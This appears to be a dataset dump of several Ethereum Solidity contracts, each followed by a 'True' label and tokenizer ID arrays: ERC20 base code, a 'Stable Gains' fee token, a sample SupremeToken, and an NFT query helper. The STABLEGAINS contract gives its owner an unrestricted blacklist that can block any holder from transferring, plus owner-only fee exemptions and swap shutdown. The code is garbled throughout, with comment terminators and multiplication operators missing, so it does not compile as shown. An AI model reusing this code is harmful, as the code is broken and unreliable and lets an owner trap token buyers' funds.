allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. / function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. / function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. / function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract STABLEGAINS is ERC20, Ownable { // store addresses that are automatic market maker pairs. // transfer to* these addresses could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; mapping (address => bool) public blacklist; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public swapEnabled; bool public limitsEnabled; bool public txDelayEnabled; bool public tradingEnabled; uint256 public buyTotalFees = 4; uint256 public buyDivisorFees = 3; uint256 public sellWindow1 = 3 minutes; uint256 public sellWindow2 = 6 minutes; uint256 public sellWindow3 = 9 minutes; uint256 public sellWindow4 = 12 minutes; uint256 public sellLiquidityFeeWindow1 = 6; uint256 public sellLiquidityFeeWindow2 = 5; uint256 public sellLiquidityFeeWindow3 = 3; uint256 public sellLiquidityFeeWindow4 = 2; uint256 public sellMarketingFeeWindow1 = 6; uint256 public sellMarketingFeeWindow2 = 5; uint256 public sellMarketingFeeWindow3 = 3; uint256 public sellMarketingFeeWindow4 = 2; uint256 public sellDevFee = 2; uint256 public tokensForLiquidity; uint256 public tokensForMarketing; uint256 public tokensForDev; bool private swapping; /*****************/ // exclude from fees and max transaction amount, track latest buy and transfer... mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => uint256) private _latestSwapIn; mapping(address => uint256) private _latestTransfer; event UpdateUniswapV2Router(address indexed newAddr, address indexed oldAddr); event ExcludeFromFees(address indexed newAddr, bool isExcluded); event Blacklisted(address newAddr, bool isBlacklisted); event SetAutomatedMarketMakerPair(address indexed newAddr, bool indexed isPair); event MarketingWalletUpdated(address indexed newAddr, address indexed oldAddr); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Stable Gains", "STABLE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 90000000000 ether; maxTransactionAmount = totalSupply 99 / 1000; //.99% maxWallet = totalSupply * 3 / 100; //3% swapTokensAtAmount = totalSupply * 5 / 100000; //.005% marketingWallet = address(owner()); devWallet = address(owner()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); limitsEnabled = true; txDelayEnabled = true; _mint(msg.sender, totalSupply); } receive() external payable {} function enableTradingAndSwapping() external onlyOwner returns (bool) { require(!tradingEnabled && !swapEnabled, "trading and swapping must not be enabled already"); tradingEnabled = true; swapEnabled = true; return true; } function removeLimits() external onlyOwner returns (bool) { require(!limitsEnabled, "limits must not be removed already"); limitsEnabled = false; return true; } function disableTransferDelay() external onlyOwner returns (bool) { require(txDelayEnabled, "tx delay must not already be enabled"); txDelayEnabled = false; return true; } function updateBlacklist(address addr, bool isBlacklisted) external onlyOwner returns (bool) { require(addr != address(0), "must not blacklist the zero address"); blacklist[addr] = isBlacklisted; emit Blacklisted(addr, isBlacklisted); return true; } function updateSwapTokensAtAmount(uint256 amount) external onlyOwner returns (bool) { require(amount >= totalSupply() * 1 / 100000, "swap amount cannot be lower than 0.001% total supply."); require(amount <= totalSupply() * 5 / 1000, "swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = amount; return true; } function updateMaxTransactionAmount(uint256 amount) external onlyOwner returns (bool) { require(amount >= (totalSupply() * 1 / 1000) / 1e18, "must not be set to lower than 0.1%"); maxTransactionAmount = amount * (10*18); return true; } function updateMaxWalletAmount(uint256 amount) external onlyOwner returns (bool) { require(amount >= (totalSupply() 5 / 1000) / 1e18, "must be set to lower than 0.5%"); maxWallet = amount * (10*18); return true; } function updateMarketingWallet(address addr) external onlyOwner returns (bool) { emit MarketingWalletUpdated(addr, marketingWallet); marketingWallet = addr; return true; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner returns (bool) { swapEnabled = enabled; return true; } function updateBuyTotalFees(uint256 fee) external onlyOwner returns (bool) { require(fee <= 10, "must not be higher than 10%"); buyTotalFees = fee; return true; } function updateBuyDivisorFees(uint256 divisor) external onlyOwner returns (bool) { buyDivisorFees = divisor; return true; } function updateSellWindows( uint256 window1, uint256 window2, uint256 window3, uint256 window4) external onlyOwner returns (bool) { sellWindow1 = window1; sellWindow2 = window2; sellWindow3 = window3; sellWindow4 = window4; return true; } function updateLiquidityFeeForSellWindows( uint256 fee1, uint256 fee2, uint256 fee3, uint256 fee4) external onlyOwner returns (bool) { require( fee1 <= 10 && fee2 <= 10 && fee3 <= 10 && fee4 <= 10, "must not be higher than 10%"); sellLiquidityFeeWindow1 = fee1; sellLiquidityFeeWindow2 = fee2; sellLiquidityFeeWindow3 = fee3; sellLiquidityFeeWindow4 = fee4; return true; } function updateMarketingFeeForSellWindows( uint256 fee1, uint256 fee2, uint256 fee3, uint256 fee4) external onlyOwner returns (bool) { require( fee1 <= 10 && fee2 <= 10 && fee3 <= 10 && fee4 <= 10, "must not be higher than 10%"); sellMarketingFeeWindow1 = fee1; sellMarketingFeeWindow2 = fee2; sellMarketingFeeWindow3 = fee3; sellMarketingFeeWindow4 = fee4; return true; } function excludeFromMaxTransaction(address addr, bool isExcluded) public onlyOwner returns (bool) { _isExcludedMaxTransactionAmount[addr] = isExcluded; return true; } function excludeFromFees(address addr, bool isExcluded) public onlyOwner returns (bool) { _isExcludedFromFees[addr] = isExcluded; emit ExcludeFromFees(addr, isExcluded); return true; } function setAutomatedMarketMakerPair(address addr, bool isPair) public onlyOwner returns (bool) { require(addr != uniswapV2Pair, "the uniswapV2Pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(addr, isPair); return true; } function isExcludedFromFees(address addr) public view returns(bool) { return _isExcludedFromFees[addr]; } function _transfer( address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blacklist[from], "sender must not be blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } if (limitsEnabled){ if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingEnabled) { require(_isExcludedFromFees[from] \|\| _isExcludedFromFees[to], "trading is not active."); } if (txDelayEnabled) { if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_latestTransfer[tx.origin] < block.number, "_transfer: transfer delay enabled. Only one purchase per block allowed."); _latestTransfer[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "buy transfer amount exceeds the max transaction amount."); require(amount + balanceOf(to) <= maxWallet, "max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "sell transfer amount exceeds the max transaction amount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] \|\| _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { //on sell if (automatedMarketMakerPairs[to]) { ( uint256 sellTotalFees, uint256 currentLiquidityFee, uint256 currentMarketingFee ) = getSellFeesAccount(from); fees = amount sellTotalFees / 100; tokensForLiquidity += fees * currentLiquidityFee / sellTotalFees; tokensForMarketing += fees * currentMarketingFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; } //on buy if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForLiquidity += fees / buyDivisorFees; tokensForMarketing += fees / buyDivisorFees; tokensForDev += fees / buyDivisorFees; _latestSwapIn[to] = block.timestamp; } if (fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _setAutomatedMarketMakerPair(address addr, bool isPair) private { automatedMarketMakerPairs[addr] = isPair; emit SetAutomatedMarketMakerPair(addr, isPair); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); //make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); //add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0xdead), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap = ( tokensForLiquidity + tokensForMarketing + tokensForDev ); bool success; if (contractBalance == 0 \|\| tokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = contractBalance * tokensForLiquidity / tokensToSwap / 2; uint256 amountToSwapForETH = contractBalance - liquidityTokens; uint256 initialETHBalance = address(this).balance; _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForMarketing = ethBalance * tokensForMarketing / tokensToSwap; uint256 ethForDev = ethBalance * tokensForDev / tokensToSwap; uint256 ethForLiquidity = ( ethBalance - ethForMarketing - ethForDev ); delete tokensForLiquidity; delete tokensForMarketing; delete tokensForDev; (success,) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function getSellFeesAccount(address addr) public view returns ( uint256 SellFeeTotal, uint256 CurrentLiquidityFee, uint256 CurrentMarketingFee) { uint256 feesWithoutLiquidityAndMarketing = sellDevFee; if (block.timestamp < _latestSwapIn[addr] + sellWindow1) { return ( ( sellLiquidityFeeWindow1 + sellMarketingFeeWindow1 + feesWithoutLiquidityAndMarketing ), sellLiquidityFeeWindow1, sellMarketingFeeWindow1 ); } if (block.timestamp > _latestSwapIn[addr] + sellWindow1 && block.timestamp < _latestSwapIn[addr] + sellWindow2) { return ( ( sellLiquidityFeeWindow2 + sellMarketingFeeWindow2 + feesWithoutLiquidityAndMarketing), sellLiquidityFeeWindow2, sellMarketingFeeWindow2 ); } if (block.timestamp > _latestSwapIn[addr] + sellWindow2 && block.timestamp < _latestSwapIn[addr] + sellWindow3) { return ( ( sellLiquidityFeeWindow3 + sellMarketingFeeWindow3 + feesWithoutLiquidityAndMarketing), sellLiquidityFeeWindow3, sellMarketingFeeWindow3 ); } if (block.timestamp > _latestSwapIn[addr] + sellWindow3) { return ( ( sellLiquidityFeeWindow4 + sellMarketingFeeWindow4 + feesWithoutLiquidityAndMarketing), sellLiquidityFeeWindow4, sellMarketingFeeWindow4 ); } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2321, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1063, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 3853, 2171, 1006, 1007, 6327, 5760, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 6454, 1006, 1007, 6327, 5760, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 26066, 2015, 1006, 1007, 6327, 5760, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 3853, 21948, 6279, 22086, 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/** Submitted for verification at Etherscan.io on 2021-08-20 / pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Sample token contract // // Symbol : SPMT // Name : SupremeToken // Total supply : 100000000000000000000000000000 // Decimals : 18 // Owner Account : 0xCC9ccE0aA00D0C6Eb0179014cD0A935a1C320CA4 // // Enjoy. // // (c) by Juan Cruz Martinez 2020. MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Lib: Safe Math // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** ERC Token Standard #20 Interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md / contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /* Contract function to receive approval and execute function in one call Borrowed from MiniMeToken / contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /* ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers */ contract SPMTToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "SPMT"; name = "SupremeToken"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0xCC9ccE0aA00D0C6Eb0179014cD0A935a1C320CA4] = _totalSupply; emit Transfer(address(0), 0xCC9ccE0aA00D0C6Eb0179014cD0A935a1C320CA4, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2322, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; // Pellar 2022 contract Query { struct CallMapper { address contractAddress; bytes bytesCaller; } function getTokensByAccount(address _contract, address _account) public view returns (uint256[] memory) { uint256 balance = INFT(_contract).balanceOf(_account); uint256[] memory tokens = new uint256[](balance); for (uint256 i = 0; i < balance; i++) { tokens[i] = INFT(_contract).tokenOfOwnerByIndex(_account, i); } return tokens; } function callContractsWith(CallMapper[] calldata _callers) public view returns (bool[] memory, bytes[] memory) { uint256 size = _callers.length; bool[] memory successes = new bool[](size); bytes[] memory responses = new bytes[](size); for (uint256 i = 0; i < _callers.length; i++) { (bool success, bytes memory res) = _callers[i].contractAddress.staticcall(_callers[i].bytesCaller); successes[i] = success; responses[i] = res; } return (successes, responses); } } interface INFT { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 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/** Submitted for verification at Etherscan.io on 2021-06-23 / /** Submitted for verification at Etherscan.io on 2021-06-20 / /* / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = 